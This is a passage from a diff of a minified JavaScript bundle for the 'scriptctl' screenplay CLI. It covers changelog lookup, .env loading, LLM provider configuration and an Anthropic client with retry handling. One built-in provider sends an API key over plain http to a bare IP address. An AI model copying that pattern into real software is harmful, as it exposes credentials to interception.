e=Rd.readFileSync(zi.join(Md(),"package.json"),"utf-8"),t=JSON.parse(e).version;if(typeof t!="string")throw new Error(`${Od} package.json has no string version`);return t}var Lf=/^\d+\.\d+\.\d+$/,QE="unreleased";function Nf(){return Ud.join(Md(),"changes")}function FE(){return Hi()}function Jr(e){if(!Lf.test(e))throw new S("Version must use x.y.z.",{exitCode:B,errorCode:"CHANGELOG_VERSION_INVALID",hint:"Pass a released version such as `scriptctl changelog 0.25.10`.",data:{expected:["x.y.z"],actual:[e||"<empty>"]}});let[t,n,o]=e.split(".").map(i=>Number(i));return[t,n,o]}function Nd(e,t){let n=Jr(e),o=Jr(t);for(let i=0;i<3;i++)if(n[i]!==o[i])return n[i]-o[i];return 0}function YE(){let e=Nf();return Xs.readdirSync(e).filter(t=>t.endsWith(".md")).map(t=>t.slice(0,-3)).filter(t=>Lf.test(t)).sort(Nd)}function Ws(e){return Xs.readFileSync(Ud.join(Nf(),`${e}.md`),"utf-8").trimEnd()}function Ld(e,t){return new S(`No changelog entry exists for ${e}.`,{exitCode:b,errorCode:"CHANGELOG_VERSION_NOT_FOUND",hint:t.length>0?`Available versions: ${t.join(", ")}`:"Add changes/<version>.md first.",data:{expected:["existing changelog version"],actual:[e]}})}function qE(e,t){return new S(`No released changelog entries found after ${e} through ${t}.`,{exitCode:b,errorCode:"CHANGELOG_RANGE_EMPTY",hint:"Choose a wider range or run `scriptctl changelog <version>` for a known release.",data:{expected:["a version range containing released changelog entries"],actual:[`--from ${e}`,`--to ${t}`]}})}function ZE(e){return e.map(Ws).join(`
142
+ `)}return e.exitCode}var Ad=new WeakMap;function JE(e){return e.replace(/([A-Z])/g,"_$1").toLowerCase()}function KE(e){return Object.fromEntries(Object.entries(e).map(([t,n])=>[JE(t),n]))}function jE(e){let t=[],n=e;for(;n;)t.unshift(n),n=n.parent;return Object.assign({},...t.map(o=>o.opts()))}function H(e,t){return async(...n)=>{let o=n[n.length-1],i=n.slice(0,-2).filter(d=>d!==void 0),r=KE(jE(o));i.length>0&&(r._args=i),t.jsonMode=!!r.json,t.format=typeof r.format=="string"?r.format:void 0;let s=async()=>e(r),[c,a]=Ad.get(o)==="write"?await Vs(me(r),s):await s();Of(c,a,t.jsonMode,t.format),t.exitCode=a}}function Me(e,t){return e.registeredArguments.forEach((n,o)=>{n.description=t[o]??""}),e}function ee(e,t="write"){return Ad.set(e,t),e.option("-p, --script-path <path>","Script JSON file (default: ./workspace/script.json)")}function kd(e){return Ad.set(e,"write"),e.option("-p, --script-path <path>","Local script JSON file (default: ./workspace/script.json)").option("--project-group-no <no>","Remote project group number")}function Rf(e,t){let n=e.command("authoring").description("Structured screenplay compilation and atomic application transactions"),o=ee(n.command("write <file>")).description("Plan or apply a complete structured authoring document").option("--create","Create the selected target").option("--replace","Replace the selected target").option("--apply","Apply the exact plan").option("--plan <digest>","Exact plan digest to apply").action(H(kf,t));Me(o,["Structured .scriptctl file"]);let i=ee(n.command("compose <file>")).description("Compile a readable scene JSON draft with generated identities and timing").option("--apply","Apply the exact plan").option("--plan <digest>","Exact plan digest to apply").action(H(Tu,t));Me(i,["Readable scene JSON file"]);let r=n.command("export").description("Export complete structured content, including identities and extensions"),s=["script","episodes","episode-spans","scenes","scene-spans","action-spans"];for(let c of s){let a=ee(r.command(c),"read").description(`Export structured ${c}`).requiredOption("-o, --output <file>","Destination .scriptctl file");c!=="script"&&a.requiredOption("-i, --in <selector>","Formal ID or @ep:N selector / inclusive range"),a.action(H(d=>Yu(c,d),t))}}import*as Zs from"node:fs";import*as Nd from"node:path";import*as Od from"node:fs";import*as ji from"node:path";import{fileURLToPath as zE}from"node:url";var vd="@lingjingai/scriptctl",bd="";function Rd(){if(bd)return bd;let e=ji.dirname(zE(import.meta.url));for(;;){try{let n=Od.readFileSync(ji.join(e,"package.json"),"utf-8");if(JSON.parse(n).name===vd)return bd=e,e}catch{}let t=ji.dirname(e);if(t===e)throw new Error(`${vd} package root not found`);e=t}}function zi(){let e=Od.readFileSync(ji.join(Rd(),"package.json"),"utf-8"),t=JSON.parse(e).version;if(typeof t!="string")throw new Error(`${vd} package.json has no string version`);return t}var Mf=/^\d+\.\d+\.\d+$/,HE="unreleased";function Lf(){return Nd.join(Rd(),"changes")}function QE(){return zi()}function Gr(e){if(!Mf.test(e))throw new S("Version must use x.y.z.",{exitCode:B,errorCode:"CHANGELOG_VERSION_INVALID",hint:"Pass a released version such as `scriptctl changelog 0.25.10`.",data:{expected:["x.y.z"],actual:[e||"<empty>"]}});let[t,n,o]=e.split(".").map(i=>Number(i));return[t,n,o]}function Ld(e,t){let n=Gr(e),o=Gr(t);for(let i=0;i<3;i++)if(n[i]!==o[i])return n[i]-o[i];return 0}function FE(){let e=Lf();return Zs.readdirSync(e).filter(t=>t.endsWith(".md")).map(t=>t.slice(0,-3)).filter(t=>Mf.test(t)).sort(Ld)}function qs(e){return Zs.readFileSync(Nd.join(Lf(),`${e}.md`),"utf-8").trimEnd()}function Md(e,t){return new S(`No changelog entry exists for ${e}.`,{exitCode:b,errorCode:"CHANGELOG_VERSION_NOT_FOUND",hint:t.length>0?`Available versions: ${t.join(", ")}`:"Add changes/<version>.md first.",data:{expected:["existing changelog version"],actual:[e]}})}function YE(e,t){return new S(`No released changelog entries found after ${e} through ${t}.`,{exitCode:b,errorCode:"CHANGELOG_RANGE_EMPTY",hint:"Choose a wider range or run `scriptctl changelog <version>` for a known release.",data:{expected:["a version range containing released changelog entries"],actual:[`--from ${e}`,`--to ${t}`]}})}function qE(e){return e.map(qs).join(`
143
143
 
144
- `)}function Uf(e){let t=e._args??[],n=t[0]?.trim()??"",o=String(e.from??"").trim(),i=String(e.to??"").trim(),r=!!e.unreleased;if(t.length>1)throw new S("changelog accepts at most one version argument.",{exitCode:B,errorCode:"CHANGELOG_TOO_MANY_ARGS",hint:"Pass a single version, or use --from/--to for a range.",data:{expected:["scriptctl changelog [version] [--from X] [--to Y] [--unreleased]"],actual:[t.join(" ")]}});if(r&&(n||o||i))throw new S("--unreleased cannot combine with version, --from, or --to.",{exitCode:B,errorCode:"CHANGELOG_SELECTOR_CONFLICT",hint:"Run `scriptctl changelog --unreleased` by itself.",data:{expected:["either --unreleased, a version, or a --from/--to range"],actual:["--unreleased with another selector"]}});if(n&&(o||i))throw new S("A version argument cannot combine with --from or --to.",{exitCode:B,errorCode:"CHANGELOG_SELECTOR_CONFLICT",hint:"Run `scriptctl changelog 0.25.10` or `scriptctl changelog --from 0.25.8 --to 0.25.10`.",data:{expected:["either a version argument, or --from/--to"],actual:[n,o?`--from ${o}`:"",i?`--to ${i}`:""].filter(Boolean)}});if(r){let d=Ws(QE);return[{text:d,data:{content:d,versions:[],unreleased:!0}},G]}let s=YE(),c=FE();if(n){if(Jr(n),!s.includes(n))throw Ld(n,s);let d=Ws(n);return[{text:d,data:{content:d,versions:[n],unreleased:!1}},G]}if(o||i){if(!o)throw new S("--from is required for range queries.",{exitCode:B,errorCode:"CHANGELOG_FROM_MISSING",hint:"Run `scriptctl changelog --from 0.25.8 --to 0.25.10`.",data:{expected:["--from <x.y.z>"],actual:[i?`--to ${i}`:"<missing>"]}});Jr(o);let d=i||c;if(Jr(d),!s.includes(d))throw Ld(d,s);let p=s.filter(f=>Nd(f,o)>0&&Nd(f,d)<=0);if(p.length===0)throw qE(o,d);let l=ZE(p);return[{text:l,data:{content:l,versions:p,from:o,to:d,unreleased:!1}},G]}if(!s.includes(c))throw Ld(c,s);let a=Ws(c);return[{text:a,data:{content:a,versions:[c],unreleased:!1}},G]}import*as Bt from"node:fs";import*as ci from"node:path";import{createRequire as Wx}from"node:module";import*as Hn from"node:fs";import*as Ao from"node:path";import*as Cf from"node:os";import{fileURLToPath as WE}from"node:url";function Pf(e){return e.startsWith("~")?Ao.join(Cf.homedir(),e.slice(1)):e}function XE(e){let t=Hn.readFileSync(e,"utf-8");for(let n of t.split(/\r?\n/)){let o=n.trim();if(!o||o.startsWith("#"))continue;o.startsWith("export ")&&(o=o.slice(7).trim());let i=o.indexOf("=");if(i<0)continue;let r=o.slice(0,i).trim(),s=o.slice(i+1).trim();s.length>=2&&s[0]===s[s.length-1]&&(s[0]==="'"||s[0]==='"')&&(s=s.slice(1,-1)),r&&s&&!process.env[r]&&(process.env[r]=s)}}function Pd(){let e=[],t=(process.env.SCRIPTCTL_ENV_FILE??"").trim();t&&e.push(Pf(t));let n=(process.env.SCRIPTCTL_SKILL_DIR??"").trim();n&&e.push(Ao.join(Pf(n),".env"));let o;try{o=WE(import.meta.url)}catch{o=process.cwd()}let i=Ao.resolve(o),r=new Set;for(;;){let s=Ao.dirname(i);if(s===i||r.has(s))break;r.add(s),e.push(Ao.join(s,".env")),i=s}return e}function Tf(){let e=process.env.SCRIPTCTL_NO_DOTENV;if(e==="1"||e==="true"||e==="True")return;let t=new Set;for(let n of Pd()){let o;try{o=Hn.existsSync(n)?Hn.realpathSync(n):n}catch{o=n}t.has(o)||!Hn.existsSync(n)||!Hn.statSync(n).isFile()||(t.add(o),XE(n))}}var fe=class extends Error{status;code;payload;configMissing;constructor(t,n={}){super(t),this.name="ScriptOutputApiError",this.status=n.status??null,this.code=n.code??null,this.payload=n.payload,this.configMissing=n.configMissing??null}};async function Cd(e,t){if(e.updateEpisodeCount)try{await e.updateEpisodeCount(t)}catch{}}function Vf(e){let t=!!e?.remote,n=!!e?.local;if(t&&n)return{mode:null,conflict:!0};if(t)return{mode:"remote",conflict:!1};if(n)return{mode:"local",conflict:!1};let o=(process.env.SCRIPTCTL_OUTPUT_MODE??"").trim().toLowerCase();if(o==="local"||o==="remote")return{mode:o,conflict:!1};if(o!=="")return{mode:null,conflict:!1};let i=typeof e?.projectGroupNo=="string"?e.projectGroupNo.trim():"",r=(process.env.SANDBOX_PROJECT_GROUP_NO??"").trim();return i!==""||r!==""?{mode:"remote",conflict:!1}:{mode:null,conflict:!1}}import*as zr from"node:fs";import*as Df from"node:os";import*as Kr from"node:path";import{parseDocument as ex}from"yaml";function ae(e,t,n){return{id:e,mode:t,version:"1",maxOutputTokens:n,defaultProfile:"default"}}var An={"direct.episode-titles":ae("direct.episode-titles","tool",4096),"direct.batch-extract":ae("direct.batch-extract","text",16e3),"direct.episode-synopsis":ae("direct.episode-synopsis","tool",2048),"direct.synopsis-reduction":ae("direct.synopsis-reduction","tool",4096),"direct.script-synopsis":ae("direct.script-synopsis","tool",2048),"direct.asset-grouping":ae("direct.asset-grouping","text",8e3),"direct.asset-curation":ae("direct.asset-curation","text",2e4),"direct.asset-curation-audit":ae("direct.asset-curation-audit","text",2e4),"direct.location-canonicalization":ae("direct.location-canonicalization","text",2e4),"direct.state-curation":ae("direct.state-curation","text",2e4),"direct.state-binding":ae("direct.state-binding","tool",16e3),"metadata.global":ae("metadata.global","text",16e3),"metadata.descriptions":ae("metadata.descriptions","text",16e3),"synopsis.chunk":ae("synopsis.chunk","text",4096),"synopsis.episode":ae("synopsis.episode","text",4096),"synopsis.arc":ae("synopsis.arc","text",16e3),"synopsis.script-overview":ae("synopsis.script-overview","text",16e3),"ingest.body-start":ae("ingest.body-start","text",16e3),"ingest.arc-summary":ae("ingest.arc-summary","text",4096),"ingest.text-normalize":ae("ingest.text-normalize","text",32e3),"ingest.episode-assets":ae("ingest.episode-assets","tool",32e3),"ingest.name-fix":ae("ingest.name-fix","tool",16e3),"ingest.mention-resolve":ae("ingest.mention-resolve","text",8e3),"ingest.asset-extract":ae("ingest.asset-extract","text",8e3),"ingest.asset-curate":ae("ingest.asset-curate","text",32e3),"ingest.asset-recall":ae("ingest.asset-recall","text",65536),"ingest.asset-refine":ae("ingest.asset-refine","text",32e3),"ingest.state-reconcile":ae("ingest.state-reconcile","text",32e3),"ingest.asset-audit":ae("ingest.asset-audit","tool",32e3),"ingest.speaker-audit":ae("ingest.speaker-audit","tool",16e3),"ingest.comic-serial":{id:"ingest.comic-serial",mode:"document",version:"1",defaultProfile:"default"},"ingest.video-serial":ae("ingest.video-serial","video",65536)},$f=Object.keys(An).filter(Td);function Td(e){return Object.hasOwn(An,e)}var tx=new Set(["protocol","baseUrl","apiKey","timeoutMs","maxAttempts","videoResponseSchemaField","videoUploadMode","documentResponseSchemaField","documentUploadMode"]),nx=new Set(["provider","model","thinking","reasoning","temperature","fallbacks"]),ox=new Set(["env"]),ix=new Set(["budgetTokens"]);function ve(e,t=[]){return new S(e,{exitCode:b,errorCode:"LLM_CONFIG_INVALID",hint:"Fix the selected LLM configuration or environment and rerun `scriptctl doctor`.",data:{expected:["valid scriptctl LLM YAML configuration"],actual:t}})}function Bd(e,t){let n;try{n=new URL(e)}catch{throw ve(`${t} must be an absolute URL.`)}if(n.protocol!=="http:"&&n.protocol!=="https:")throw ve(`${t} must use http or https.`);return n.toString().replace(/\/$/,"")}function Jd(e,t="provider base URL"){return Bd(e,t)}function rx(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function ko(e,t){if(!rx(e))throw ve(`${t} must be a mapping.`,[`${t}: ${typeof e}`]);return e}function bo(e,t){if(typeof e!="string"||!e.trim())throw ve(`${t} must be a non-empty string.`);return e.trim()}function Gd(e,t,n,o){if(!Number.isInteger(e)||typeof e!="number"||e<n||o!==void 0&&e>o)throw ve(`${t} must be an integer in ${o===void 0?`[${n}, +\u221E)`:`[${n}, ${o}]`}.`);return e}function jr(e,t,n){let o=Object.keys(e).filter(i=>!t.has(i));if(o.length>0)throw ve(`${n} contains unknown fields.`,o)}function sx(e,t){let n=ko(t,`providers.${e}`);jr(n,tx,`providers.${e}`);let o=bo(n.protocol,`providers.${e}.protocol`);if(o!=="anthropic"&&o!=="openai-compatible"&&o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.protocol is unsupported.`,[o]);let i=n.baseUrl===void 0&&o!=="openai-compatible"?null:Bd(bo(n.baseUrl,`providers.${e}.baseUrl`),`providers.${e}.baseUrl`),r="";if(o!=="google-vertex"||n.apiKey!==void 0){let c=ko(n.apiKey,`providers.${e}.apiKey`);if(jr(c,ox,`providers.${e}.apiKey`),r=bo(c.env,`providers.${e}.apiKey.env`),!/^[A-Za-z_][A-Za-z0-9_]*$/.test(r))throw ve(`providers.${e}.apiKey.env must be an environment variable name.`)}let s={protocol:o,baseUrl:i,apiKeyEnv:r,timeoutMs:Gd(n.timeoutMs,`providers.${e}.timeoutMs`,1),maxAttempts:Gd(n.maxAttempts,`providers.${e}.maxAttempts`,1,6)};for(let c of["videoResponseSchemaField","documentResponseSchemaField"]){let a=n[c];if(a!==void 0){if(o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.${c} requires a Gemini ${c.startsWith("video")?"video":"document"} provider.`);if(a!=="responseJsonSchema"&&a!=="responseSchema")throw ve(`providers.${e}.${c} must be responseJsonSchema or responseSchema.`);s[c]=a}}for(let c of["videoUploadMode","documentUploadMode"]){let a=n[c];if(a!==void 0){if(o!=="google-gemini"&&o!=="google-vertex")throw ve(`providers.${e}.${c} requires a Gemini ${c.startsWith("video")?"video":"document"} provider.`);if(a!=="file-api"&&a!=="base64")throw ve(`providers.${e}.${c} must be file-api or base64.`);s[c]=a}}return s}function ax(e,t,n){let o=ko(t,`models.${e}`);jr(o,nx,`models.${e}`);let i=bo(o.provider,`models.${e}.provider`),r=n[i];if(!r)throw ve(`models.${e} references an unknown provider.`,[i]);let s={provider:i,model:bo(o.model,`models.${e}.model`)};if(o.reasoning!==void 0&&(s.reasoning=bo(o.reasoning,`models.${e}.reasoning`)),o.fallbacks!==void 0){let c=o.fallbacks;if(!Array.isArray(c))throw ve(`models.${e}.fallbacks must be a list of model profiles.`);s.fallbacks=c.map((a,d)=>bo(a,`models.${e}.fallbacks[${d}]`))}if(o.temperature!==void 0){let c=o.temperature;if(typeof c!="number"||!Number.isFinite(c)||c<0)throw ve(`models.${e}.temperature must be a number \u2265 0.`);s.temperature=c}if(o.thinking!==void 0){if(r.protocol!=="anthropic")throw ve(`models.${e}.thinking is only valid for anthropic providers.`);let c=ko(o.thinking,`models.${e}.thinking`);jr(c,ix,`models.${e}.thinking`),s.thinkingBudgetTokens=Gd(c.budgetTokens,`models.${e}.thinking.budgetTokens`,1024)}return s}function cx(e,t){let n=ko(e,"config");if(jr(n,new Set(["version","providers","models","tasks"]),"config"),n.version!==1)throw ve("config.version must be 1.");let o=ko(n.providers,"providers"),i={};for(let[a,d]of Object.entries(o))i[a]=sx(a,d);let r=ko(n.models,"models"),s={};for(let[a,d]of Object.entries(r))s[a]=ax(a,d,i);if(!s.default)throw ve("models.default is required.");for(let[a,d]of Object.entries(s))for(let p of d.fallbacks??[])if(!s[p]||p===a)throw ve(`models.${a}.fallbacks references an unknown or the same profile.`,[p]);let c={};if(n.tasks!==void 0){let a=ko(n.tasks,"tasks");for(let[d,p]of Object.entries(a)){if(!Td(d))throw ve("tasks contains an unknown task id.",[d]);let l=bo(p,`tasks.${d}`);if(!s[l])throw ve(`tasks.${d} references an unknown model profile.`,[l]);c[d]=l}}return{version:1,providers:i,models:s,tasks:c,source:"file",sourcePath:t}}var Fn={protocol:"google-gemini",baseUrl:"https://grsai.dakka.com.cn",apiKeyEnv:"GRSAI_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64"},ii={protocol:"google-gemini",baseUrl:"https://api.nnyyai.com",apiKeyEnv:"NNYYAI_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64",documentResponseSchemaField:"responseSchema",documentUploadMode:"base64"},Kd="gemini-3.8-flash-anci",Vd={protocol:"google-gemini",baseUrl:"http://15.204.107.123:3000",apiKeyEnv:"MSUICODE_VERTEX_API_KEY",timeoutMs:6e5,maxAttempts:3,videoResponseSchemaField:"responseSchema",videoUploadMode:"base64"},$d=["review-msuicode-gcp","review-msuicode-t3","review-tuzi","review-doubao"],Qn={version:1,providers:{gw:{protocol:"openai-compatible",baseUrl:null,apiKeyEnv:"PROJECT_LITELLM_GATEWAY_API_KEY",timeoutMs:3e5,maxAttempts:3},"gw-anthropic":{protocol:"anthropic",baseUrl:null,apiKeyEnv:"PROJECT_LITELLM_GATEWAY_API_KEY",timeoutMs:3e5,maxAttempts:3},"google-gemini":{protocol:"google-vertex",baseUrl:null,apiKeyEnv:"",timeoutMs:6e5,maxAttempts:3},nnyyai:ii,"nnyyai-ci":{...ii,apiKeyEnv:"NNYYAI_CI_API_KEY"},"msuicode-vertex":{...Vd},"msuicode-gcp":{...Vd,apiKeyEnv:"MSUICODE_GCP_API_KEY"},"msuicode-t3":{...Vd,apiKeyEnv:"MSUICODE_T3_API_KEY"},grsai:Fn,tuzi:{protocol:"google-gemini",baseUrl:"https://api.tu-zi.com",apiKeyEnv:"TUZI_API_KEY",timeoutMs:6e5,maxAttempts:3},ark:{protocol:"openai-compatible",baseUrl:"https://ark.ap-southeast.bytepluses.com/api/v3",apiKeyEnv:"DOUBAO_TURBO_API_KEY",timeoutMs:3e5,maxAttempts:3}},models:{default:{provider:"gw",model:"deepseek-v4-flash-packy",temperature:0},synopsis:{provider:"gw",model:"deepseek-v4.1-flash-huoshan",temperature:0},"ingest-low":{provider:"gw",model:"deepseek-v4-flash-packy",temperature:0},"ingest-normalize":{provider:"gw",model:"claude-sonnet-4-6-aihubmix",temperature:0},"ingest-video":{provider:"nnyyai-ci",model:Kd},"ingest-comic":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-text":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:$d},"review-comic":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:$d},"review-agent":{provider:"msuicode-vertex",model:"gemini-3.8-flash",temperature:0,fallbacks:$d},"review-msuicode-gcp":{provider:"msuicode-gcp",model:"gemini-3.8-flash"},"review-msuicode-t3":{provider:"msuicode-t3",model:"gemini-3.8-flash"},"review-nnyyai":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-tuzi":{provider:"tuzi",model:"gemini-3.8-flash"},"review-doubao":{provider:"ark",model:"ep-20261028172514-tlxzc"},"review-media":{provider:"nnyyai",model:"gemini-3.8-flash"},"review-grok-4.7":{provider:"gw",model:"grok-4.7-packy"},"review-grok-4.6":{provider:"gw",model:"grok-4.6-packy"},"review-grok-4.5":{provider:"gw",model:"grok-4.5-packy"},"review-grsai-3.8":{provider:"grsai",model:"gemini-3.8-flash"},"review-grsai-3.7":{provider:"grsai",model:"gemini-3.7-flash"},"review-grsai-3.6":{provider:"grsai",model:"gemini-3.6-flash"},reskin:{provider:"google-gemini",model:"gemini-3.8-flash"},"reskin-claude":{provider:"gw-anthropic",model:"claude-opus-5-5-nnyy-offical"}},tasks:{"synopsis.chunk":"synopsis","synopsis.episode":"synopsis","synopsis.arc":"synopsis","synopsis.script-overview":"synopsis","ingest.body-start":"ingest-low","ingest.arc-summary":"ingest-low","ingest.text-normalize":"ingest-low","ingest.mention-resolve":"ingest-low","ingest.asset-recall":"ingest-low","ingest.asset-audit":"ingest-normalize","ingest.episode-assets":"ingest-normalize","ingest.name-fix":"ingest-normalize","ingest.video-serial":"ingest-video","ingest.comic-serial":"ingest-comic"},source:"builtin",sourcePath:null};function dx(){let e=(process.env.PROJECT_LITELLM_GATEWAY_BASE_URL??"").trim(),t=e?Bd(e,"PROJECT_LITELLM_GATEWAY_BASE_URL"):null;return{...Qn,providers:{...Qn.providers,gw:{...Qn.providers.gw,baseUrl:t},"gw-anthropic":{...Qn.providers["gw-anthropic"],baseUrl:t?t.replace(/\/v1\/?$/,""):null},"google-gemini":{...Qn.providers["google-gemini"]},nnyyai:{...Qn.providers.nnyyai},"nnyyai-ci":{...Qn.providers["nnyyai-ci"]},grsai:{...Fn}},models:{...Qn.models},tasks:{...Qn.tasks}}}function px(){let e=(process.env.XDG_CONFIG_HOME??"").trim();return e?Kr.join(e,"scriptctl","llm.yaml"):Kr.join(Df.homedir(),".config","scriptctl","llm.yaml")}function Dd(e){if(!zr.existsSync(e))throw ve("LLM configuration file does not exist.",[e]);let t=ex(zr.readFileSync(e,"utf-8"),{uniqueKeys:!0});if(t.errors.length>0)throw ve("LLM configuration YAML is invalid.",t.errors.map(o=>o.message));let n=t.toJS();return cx(n,Kr.resolve(e))}function vo(e){let t=(e??"").trim();if(t)return Dd(t);let n=(process.env.SCRIPTCTL_LLM_CONFIG??"").trim();if(n)return Dd(n);let o=px();return zr.existsSync(o)?Dd(o):dx()}import*as em from"node:crypto";import*as Wd from"node:fs";import fx,{APIConnectionError as mx,APIConnectionTimeoutError as gx,APIError as hx,APIUserAbortError as yx}from"@anthropic-ai/sdk";var jd=1e8;function lx(e){switch(e){case"auth":return{failure_type:"authentication",failure_code:"authentication_failed"};case"permission_denied":return{failure_type:"authorization",failure_code:"permission_denied"};case"endpoint":return{failure_type:"provider",failure_code:"resource_not_found"};case"network":return{failure_type:"network",failure_code:"network_failed"};case"timeout":return{failure_type:"timeout",failure_code:"request_timeout"};case"rate_limited":return{failure_type:"rate_limit",failure_code:"rate_limited"};case"request_failed":return{failure_type:"provider",failure_code:"request_rejected"};case"truncated":return{failure_type:"response",failure_code:"output_truncated"};case"content_filtered":return{failure_type:"policy",failure_code:"content_blocked"};case"empty_response":return{failure_type:"response",failure_code:"empty_response"};case"invalid_response":return{failure_type:"response",failure_code:"malformed_response"};case"cancelled":return{failure_type:"cancelled",failure_code:"cancelled"}}}var T=class extends Error{code;retryable;details;failure;modelFailures;attempts;usage;constructor(t,n,o={}){super(n),this.name="LlmTransportError",this.code=t,this.retryable=o.retryable??!1,this.details=o.details??[],this.attempts=o.attempts??1,this.usage=o.usage??{},this.failure=Ut(o.classification??lx(t),{retryable:this.retryable,message:n,...o.context,...this.details.length>0?{details:this.details}:{}}),this.modelFailures=o.modelFailures??[]}};function ux(e){return new Promise(t=>setTimeout(t,e))}function Xt(e={},t={}){let n=c=>e[c]===void 0&&t[c]===void 0?void 0:(e[c]??0)+(t[c]??0),o=n("inputTokens"),i=n("outputTokens"),r=n("cachedInputTokens"),s=n("cacheCreationTokens");return{...o!==void 0?{inputTokens:o}:{},...i!==void 0?{outputTokens:i}:{},...r!==void 0?{cachedInputTokens:r}:{},...s!==void 0?{cacheCreationTokens:s}:{}}}async function en(e,t){let n={};for(let o=1;o<=e;o+=1)try{return{value:await t(),attempts:o,failedUsage:n}}catch(i){if(i instanceof T&&(n=Xt(n,i.usage),i.attempts=o,i.usage=n),!(i instanceof T)||!i.retryable||o===e)throw i;await ux(Math.min(3e4,1e3*2**(o-1)))}throw new Error("unreachable retry state")}function Gf(e){let t=e.usage;if(!t)return{};let n=t.cache_read_input_tokens??0,o=t.cache_creation_input_tokens??0;return{inputTokens:(t.input_tokens??0)+n+o,outputTokens:t.output_tokens??0,cachedInputTokens:n,cacheCreationTokens:o}}function Bf(e){if(e instanceof T)return e;if(e instanceof yx)return new T("request_failed","Anthropic request was aborted.");if(e instanceof gx)return new T("timeout","Anthropic request timed out.",{retryable:!0});if(e instanceof mx)return new T("request_failed","Anthropic connection failed.",{retryable:!0,details:[e.message.slice(0,500)]});if(e instanceof hx){let n=e.status??0,o=n===408||n===429||n>=500,i=n===401||n===403?"auth":n===429?"rate_limited":"request_failed";return new T(i,"Anthropic request failed.",{retryable:o,details:[`status: ${n}`,e.message.slice(0,500)]})}let t=e instanceof Error?e.message:String(e);return new T("request_failed","Anthropic request failed.",{details:[t.slice(0,500)]})}var ea=class{constructor(t,n,o){this.provider=t;this.model=n;let i={apiKey:o};t.baseUrl&&(i.baseURL=t.baseUrl),this.client=new fx({...i,maxRetries:0})}provider;model;client;params(t){let n={model:this.model.model,max_tokens:t.maxOutputTokens,stream:!1,messages:[{role:"user",content:t.user}]};return t.system.trim()&&(n.system=t.system),this.model.thinkingBudgetTokens!==void 0&&(n.thinking={type:"enabled",budget_tokens:this.model.thinkingBudgetTokens}),n}async generateText(t){let n=await en(this.provider.maxAttempts,async()=>{try{let o=await this.client.messages.create(this.params(t),{timeout:this.provider.timeoutMs,signal:t.signal}),i=Gf(o);if(o.stop_reason==="max_tokens")throw new T("truncated","Provider output was truncated.",{usage:i});if(o.stop_reason==="refusal")throw new T("content_filtered","Provider filtered the response.",{usage:i});let r=o.content.filter(s=>s.type==="text").map(s=>s.text).join(`
145
- `).trim();if(!r)throw new T("empty_response","Provider returned an empty text response.",{usage:i});return{text:r,finishReason:o.stop_reason??"",usage:i,raw:o}}catch(o){throw Bf(o)}});return{...n.value,attempts:n.attempts,usage:Xt(n.failedUsage,n.value.usage)}}async generateTool(t){let n=await en(this.provider.maxAttempts,async()=>{try{let o={name:t.tool.name,description:t.tool.description,input_schema:{type:"object",...t.tool.inputSchema}},i=await this.client.messages.create({...this.params(t),tools:[o],tool_choice:{type:"tool",name:t.tool.name,disable_parallel_tool_use:!0}},{timeout:this.provider.timeoutMs,signal:t.signal}),r=Gf(i);if(i.stop_reason==="max_tokens")throw new T("truncated","Provider tool output was truncated.",{usage:r});if(i.stop_reason==="refusal")throw new T("content_filtered","Provider filtered the response.",{usage:r});let s=i.content.find(c=>c.type==="tool_use"&&c.name===t.tool.name);if(!s||s.type!=="tool_use")throw new T("invalid_response","Provider did not return the required tool call.",{usage:r});return{input:s.input,finishReason:i.stop_reason??"",usage:r,raw:i}}catch(o){throw Bf(o)}});return{...n.value,attempts:n.attempts,usage:Xt(n.failedUsage,n.value.usage)}}};import*as Fd from"node:fs";import*as Yd from"node:path";import{File as Ix}from"node:buffer";import{Agent as Ax,fetch as na,FormData as kx}from"undici";function wx(e){return typeof e=="object"&&e!==null}function zd(e){let t=[],n=new Set,o=e;for(;wx(o)&&!n.has(o);)n.add(o),t.push(o),o=o.cause;return t}function ta(e){for(let t of zd(e)){if(typeof t.status=="number")return t.status;if(typeof t.statusCode=="number")return t.statusCode}return null}function _x(e){for(let t of zd(e))if(typeof t.code=="string")return t.code}function Ex(e){for(let t of zd(e))if(typeof t.name=="string")return t.name}function xx(e){let t=Ex(e);return t==="AbortError"||t==="TimeoutError"||t==="RequestTimeoutError"||t==="APIConnectionTimeoutError"}function Sx(e){return e?["ENOTFOUND","EAI_AGAIN"].includes(e)?{failure_type:"network",failure_code:"dns_failed"}:e==="ECONNREFUSED"?{failure_type:"network",failure_code:"connection_refused"}:["ECONNRESET","EPIPE","UND_ERR_SOCKET"].includes(e)?{failure_type:"network",failure_code:"connection_reset"}:["ENETUNREACH","EHOSTUNREACH"].includes(e)?{failure_type:"network",failure_code:"network_unreachable"}:e.startsWith("ERR_TLS_")||e.startsWith("ERR_SSL_")||e.startsWith("CERT_")||["DEPTH_ZERO_SELF_SIGNED_CERT","SELF_SIGNED_CERT_IN_CHAIN","UNABLE_TO_VERIFY_LEAF_SIGNATURE"].includes(e)?{failure_type:"network",failure_code:"tls_failed"}:["ETIMEDOUT","UND_ERR_CONNECT_TIMEOUT"].includes(e)?{failure_type:"timeout",failure_code:"connect_timeout"}:{failure_type:"network",failure_code:"network_failed"}:{failure_type:"network",failure_code:"network_failed"}}function ri(e,t,n,o,i={}){if(t?.aborted)return new T("cancelled",n,{details:[o],classification:{failure_type:"cancelled",failure_code:"cancelled"},context:i});let r=_x(e),s=xx(e)?{failure_type:"timeout",failure_code:"request_timeout"}:Sx(r),c=s.failure_type==="timeout"?"timeout":"network";return new T(c,n,{retryable:!0,details:[o],classification:s,context:{...i,...r?{system_code:r}:{}}})}function si(e,t,n,o={}){let i,r,s=!1;return 